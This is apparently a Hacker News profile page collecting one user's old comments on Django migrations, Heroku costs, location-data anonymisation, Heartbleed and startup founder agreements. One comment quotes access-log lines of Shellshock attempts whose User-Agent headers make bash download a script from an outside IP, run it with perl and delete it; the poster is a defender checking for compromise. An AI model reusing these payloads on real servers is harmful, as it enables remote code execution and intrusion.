Better HN
topnewbestaskshowjobs
Log inSign up

ProblemFactory

2,192 karma · joined Aug 8, 2012 (14y ago) · 545 submissions

Submissions

comment 11y ago · link · parent

You should investigate this further based on the expected user demographics of your app. I would expect that most people who post on Hacker News avoid all social login as much as possible for privacy reasons, while many other user groups may prefer it to creating new accounts everywhere out of convenience.

Note that any Android phone which is able to access Google Play also must have a Google (GMail) account set up, and you can use this to authenticate the user with minimal effort: http://developer.android.com/google/play-services/index.html

comment 12y ago · link · parent

Note that Dennis Ritchie already received the Turing award in 1983 for inventing and writing UNIX.

In fact, more than half of the Turing awards are for practical inventions and software: work on programming languages and compilers, TCP/IP, operating systems, relational databases. And even many of awarded "theoretical" achievements had working software that demonstrated or automated the maths parts.

I'm not arguing against an "Art and Design" award - but just noting that the Turing award is not that far off, it covers Computer Science contributions much more widely than just proving CS maths theorems.

comment 12y ago · link · parent

I have been looking for tools to solve the same problem for a while now.

Based on documentation, the most promising approach seems to be to use Couchbase Mobile/Lite in the app, Couchbase Server on the server, and link them up with their sync gateway: http://developer.couchbase.com/mobile/develop/guides/sync-ga...

It seems that this should make it possible to save data both on the client and server side, and leave sync and replication to the databases themselves.

Now, I haven't actually adopted it yet for two reasons:

* My server stack is built on top of Postgresql and Django, so I would need to either rip out Postgres and go all-in with Couchbase, or somehow sync between Postgres and Couchbase on the server, and

* Authentication, authorization and data access filtering has to be implemented as custom Javascript plugins in the sync gateway, so I would have to rewrite most of my server-side app logic. By default the clients have full write access to the server database...

But if you do give this a try, I would really like to hear about your experience.

comment 12y ago · link · parent

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

    access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.

comment 12y ago · link · parent

It's a good idea to host user-uploaded files on a completely separate domain, since older browsers are terrible at security: http://googleonlinesecurity.blogspot.com/2012/08/content-hos...

For example, it's possible to construct a perfectly valid image file, served with the correct image/gif MIME type that contains malicious a Javascript payload, and older versions of Internet Explorer might still execute that Javascript. If it is served from your web apps main domain or a subdomain, then this Javascript can access users' sessions.

comment 12y ago · link · parent

Thanks for the suggestion. However, for now I'd like to avoid building my entire app "the Heroku way", and keep the PostgreSQL server hosted on the same server or at least the same network as the rest of the app. But you are right in that perhaps a fully managed PostgreSQL server is the way to go for reliability.

comment 12y ago · link · parent

Thanks, that looks very useful!

368.

Ask HN: PostgreSQL and other server backup services?

11 points · by ProblemFactory · 12y ago · 6 comments

comment 12y ago · link · parent

Does migration squashing do what you are looking for: https://docs.djangoproject.com/en/dev/topics/migrations/#squ... ?

After squashing and migrating all existing databases, you can delete the old migrations files. The squashed migration becomes the new fresh migration that should usually contain just "CREATE TABLE" statements to be run on an empty database.

comment 12y ago · link · parent

> you might not like that fact that you can't skip migrations the same way you previously could with SOUTH_TESTS_MIGRATE = False.

Note that it's possible to squash a long series of migrations to just one "CREATE TABLE" version: https://docs.djangoproject.com/en/dev/topics/migrations/#squ...

After squashing, the new all-in-one migration should be used for tests, and should be more or less identical to syncdb.

comment 12y ago · link · parent

There's something better than a free market: a competitive market. Multiple roughly equal providers competing on price, features, quality and so on benefit consumers more than the philosophical free market. But it's not in a company's benefit to compete and drive its profit margins towards zero, so sometimes regulations (restrictions on freedom) help to ensure competition.

The best example is phone number portability. By legally forcing all mobile carriers to offer phone number portability, users can switch between carriers without losing their existing phone number. This reduces lock-in to providers, and encourages them to compete on price and service instead. No sane carrier would offer phone number portability without being required to, since it only helps customers who move away.

FTC has decided that Google isn't unfairly using its popular products to prop up unpopular ones so far, and I think Bing Maps and Apple Maps are close enough substitutes to not consider Google Maps a monopoly. Also, ridesharing seems to be booked mostly via custom apps, not from general map apps. But if Google Maps really was the only serious option for looking up rides, then I would see the benefit to consumers to requiring Google to integrate all major ridesharing services.

comment 12y ago · link · parent

Thanks for the clarification - I did not realise that companies are/were able to negotiate the offer.

comment 12y ago · link · parent

The poster seemed to ask for companies that: 1. applied to YC, 2. were accepted, and 3. then turned down the offer.

But I'm not sure why that would ever happen - the terms and content of the YC program are published in detail, so it would be a waste of everyone's time to apply if a team is not planning to accept the offer.

comment 12y ago · link · parent

Heroku is expensive because of their markup, but more so because their platform forces everything to be separate managed, modular instances whose costs add up fast.

* Want a web server instance that doesn't get shut down between requests? Then get at least 2 web dynos at $35/month each.

* Want to run background jobs that are longer than 30 seconds? Then get a separate worker dyno at $35/month.

* Want a database with more than 10K (!) rows? That's at least $10/month.

* Want a memcache? That's $15+/month.

And so on. For a small to medium popularity site, all of these could be combined into one VPS on traditional cloud hosting. Heroku would make sense for a startup that has plenty of cash and limited developer resources (-> buy fully-managed-everything), and knows it will need to scale to tens or hundreds of servers to handle traffic very soon. But for most hobby webapps, a single VPS somewhere else will be 10x cheaper and good enough for a long, long while.

comment 12y ago · link · parent

There is plenty of good work on anonymising and fuzzing location data. But unfortunately the results show that the amount of fuzzing required for anonymity is huge. "Hours and 100m" are far from enough, only something like "year and state" might work.

Some of the notable results are:

* Golle and Partridge 2009 (http://xenon.stanford.edu/~pgolle/papers/commute.pdf) - Just the home and work location at city block level is enough to uniquely identify 50% of the US population. Home and work at zip code level is enough to uniquely identify 5% of US population. Home and work county is still enough to identify 1% of people to a set of 6 candidates.

* Montjoye et. al. 2013 (http://www.nature.com/srep/2013/130325/srep01376/full/srep01...) - If you have a time-location dataset of people with hourly accuracy of time and cell tower accuracy for location (100m in cities, a few km in rural areas), then four randomly picked points for each person uniquely identify 95% of them. Just two randomly picked points for each person uniquely identify 50% of people.

The main conclusion is that it is not possible to release an "anonymised" location dataset of people that is still useful for mobility research. The only realistic approach seems to be to have strict privacy regulations and NDAs with people who are given access to this data.

But more generally, all research into anonymisation and preventing de-anonymisation is difficult because it's not known what other data sources the attacker has access to. If I have a time-location dataset of anonymous people, and if I see from Facebook when a friend visited Paris and Barcelona, then it becomes trivial to match these dates and cities against the location traces, and find their full movement trace. Similarly, if I can get an anonymous dataset of phone calls, then I can make 20 missed calls at 4am to a friend, and later look for that pattern in the data to find their other calls.

The best example of this was from the Netflix dataset of anonymous movie ratings ( http://en.wikipedia.org/wiki/Differential_privacy#Netflix_Pr... ) - people were anonymous in their dataset, but some people also rated movies with visible identities on IMDB. Correlating the two datasets allowed researchers to discover the identities of people in the Netflix dataset.

comment 12y ago · link · parent

That approach works for free command-line tools written for technology specialists.

But not if you are trying to make money with an app for the "general public", for example on the mobile app stores or oldschool shareware. Keeping it working is not enough, it must keep up with the latest trends in design and APIs that become available for extra features.

The old APIs and design guidelines could be a perfectly precise standard that still works - but it's the old standard when users expect new ones.

comment 12y ago · link · parent

The interesting part of the product is that it can be useful even to people who don't own Bitcoin or don't personally care about Bitcoin.

Assuming that modern malware includes modules to drain Bitcoin wallets found on infected devices, and that any hackers will drain a Bitcoin wallet they find on a server they get access to, placing an unprotected wallet on any device should work well as a "you've been compromised" canary.

But marketing any security or backup product is difficult, because people start caring about security and backups only after they have lost their data once.

comment 12y ago · link · parent

Vex seems very convenient, but it is also possible to avoid the "magic" with just standard virtualenv.

If you provide the full path to the python binary in the virtualenv, it executes with the virtualenv loaded:

  /home/acjohnson/virtualenvs/foo/bin/python myscript.py
This is useful for crontabs, system service config, etc. which don't load a regular user's bash setup files.

comment 12y ago · link · parent

> With regard to legal documents and accounting and all that, we have an LLC right now, with Quickbooks and a boilerplate operating agreement that I found in a book at Barnes and Nobles. I definitely agree that it is incredibly important to be on top of the legal side of things, but we honestly don't even have the money for that right now.

The main benefit of having shareholders and operating agreements is not in having a piece of paper, but having discussed and agreed on the principles with your co-founders. A boilerplate agreement is entirely useless, unless you all have thoroughly read and understood, and agreed with it.

Instead, I would recommend sitting down with everyone one evening, and coming to a mutual understanding about questions such as:

* How is ownership currently split between co-founders?

* How much do you pay yourselves salary? How should this change in the future depending on revenue or investments?

* Under which conditions would each of you consider selling the business, versus keeping on growing it?

* Who is allowed to purchase stuff with the company account, and when do they have to confirm it with the others?

* If one of the co-founders decides to quit (fantastic job offer, just tired of the startup, etc), what happens to their ownership? Do they keep all of it, lose all of it, or keep and lose some parts depending on time with the startup?

* If one of the co-founders doesn't quit, but just takes a side job, starts ignoring you, or becomes an asshole, are the others allowed to fire them? What are the share ownership outcomes of that?

* Are the owners allowed to sell their shares to outsiders?

* What happens if one of the co-founders dies or becomes disabled and incapable of working? Do their relatives inherit their ownership (this is probably the default!)?

One of the main causes of startup implosion are co-founder fights, and these in turn arise from not having discussed these issues beforehand. It's best to do it before the problems arise, and before there is serious money on the line.

If you have actually debated these questions, you are already ahead of many startup teams. You can also just write them down in plain English on a single sheet of paper with everyone's signatures - that will count as solid evidence if it ever goes to court.

And if you have plenty of cash later on, you can take that sheet to a lawyer to get a "proper" agreement. After all, a lawyer cannot and will not tell you the answers to these questions - they just write up what you have decided in more detail based on local laws.

comment 12y ago · link · parent

It's understandable that being up-to-date with the latest academic results doesn't guarantee success. There are many, many other factors that determine the eventual success of a startup, and therefore it's investment appeal.

But I didn't see the article as a complaint that "investors are wrong", but rather "before you spend months inventing and building a new UX flow, take a few days to read about the latest research".

If a developer needs a balanced binary tree, they will first look for an existing implementation in the language they are using. If one doesn't exist, a good developer will check Knuth/CLRS/Wikipedia for the suitable algorithms and build it based on these recommendations, instead of jumping in and hacking something together on the spot.

I think the article argues that UX and product design could use a similar approach. If you are deliberately testing a new approach, sure, go build whatever comes to mind. But if you just need an "incentive mechanism" in your app, then it makes sense to read up about the existing research on what kinds and how large incentives work, instead of making a guess on the spot. And even if you are innovating on some aspect, it's useful to use the existing best practices as the starting point and improve & measure from there.

comment 12y ago · link · parent

> "Host websites using Dropbox"

This seems like a cool hack, but awfully dependent on Dropbox for the core product of your business.

* If dropbox doesn't like what you are doing, they can just block you.

* If they really like what you are doing, it would be pretty easy for them to start offering the same service (and block you).

* There are bandwidth limits to files shared on Dropbox, meaning that it would only work for low-traffic sites where uptime is not critical. And if people don't care that much about their website, they are unlikely to want to pay for the service.

With the analytics product, you are in control and not at the mercy of another platform.

comment 12y ago · link · parent

These don't seem crazy at all in the context of someone with particular tastes arranging their life in their own home.

RMS has been travelling and giving talks for decades, and is most likely thoroughly fed up with it. If he's making the effort to travel to give an unpaid talk, he wants the organisers to make sure the experience is not much more frustrating than just staying at home.

comment 12y ago · link · parent

Curiously, the Heartbleed bug was found by the Google engineer who is working on replacing NSS with OpenSSL in Chrome: https://docs.google.com/document/d/1ML11ZyyMpnAr6clIAwWrXD53...

From the Pros & Cons table, it doesn't seem that NSS is obviously superior to OpenSSL. Both seem to suffer from focus on extra features instead of maintenance and reliability.

comment 12y ago · link · parent

Is it really more difficult to keep track of than regular shares? It's easy to decide if the stock might be purchased: if the IPO/acquisition is priced above strike price, then they obviously will be bought, and otherwise will not.

It is indeed not useful to the company, and a great upside for the employee. Out of all suggestions in the article, this is probably the most employee-friendly. But that's not a bad thing if it helps recruit good employees, or otherwise seems like a fair thing to do.

The usual 90-day limit makes employee vesting almost meaningless. They either wait for an acquisition (and get all their options accelerated), or leave before that (and lose all of them). Few employees have enough spare cash to buy out their shares.

comment 12y ago · link · parent

Most HN readers are developers (who all have unique and specific tastes in their machine setup), and have enough experience with Linux to find it easy to install alternative window managers.

For "popular adoption", I'm sure the completely standard Ubuntu install is just fine.

comment 12y ago · link · parent

"You need to narrow your focus" seems like something that would not be the main reason for rejection, and instead something that the mentors advise to fix after getting in. If there really was a serious reason for rejection (instead of being close but barely not good enough), then I think it's most likely related to the team:

* "Your fourth co-founder is dragging you down. You need to fire him."

* "You seem to have different life priorities and dedication. I predict an angry team breakup in 6 months."

* "You gave away 50% of the company for an investment from your uncle. No VC will be interested to follow up."

* "None of you have good enough technical skills to get to the point where you can fundraise and hire engineers instead."

... and so on. This kind of honest feedback would not go down well with most the founders, even if they say that they want honest and harsh feedback. It's one thing to suggest improvements to the business plan, but nobody wants to hear that they personally might not be good enough.

And the feedback would open YC to all sorts of criticism. Remember the brouhaha about the comment on founders' accents? The message was "There should be at least one founder who speaks English well to interact with the media, investors and public." But it was immediately taken out of context to accuse YC of discriminating against foreigners.

comment 12y ago · link · parent

I don't think the analogy works. None of the money, and all of the blame ended up with people who make and review OpenSSL as volunteers.

comment 12y ago · link · parent

The Heartbleed bug was a C buffer overflow. Entirely unrelated to the heartbeat feature, its spec, or the functionality of SSL as a whole. It had serious impact because was in a popular network-accessible library - something similar could also happen in the Linux TCP stack, in a popular web or database server, or any other network-accessible C program.

But something that seems just wrong is the expectation that "someone else" (the small all-volunteer OpenSSL team) should have taken more time away from their day jobs and family to: have different people writing specs and implementation, writing more tests, running static analysis tools, have code more reviews, and refactored code to be more readable. But if OpenSSL is so critical to your privacy, security and business, where were your contributions to writing those tests and code reviews?

I don't mean that every developer must contribute code to be allowed to have an opinion - but most of the lamentation at "what the OpenSSL team should have done" never considers who exactly should be spending time or money on this extra effort.

comment 12y ago · link · parent

An useless but fun observation: you can do the litres/100km division and arrive at units of area. A family car might have a fuel consumption of 0.05 mm^2.

This is the cross-section of the imaginary pipe of fuel along the highway that a car with no fuel tank would have to pick up as it travels.

1
121314
19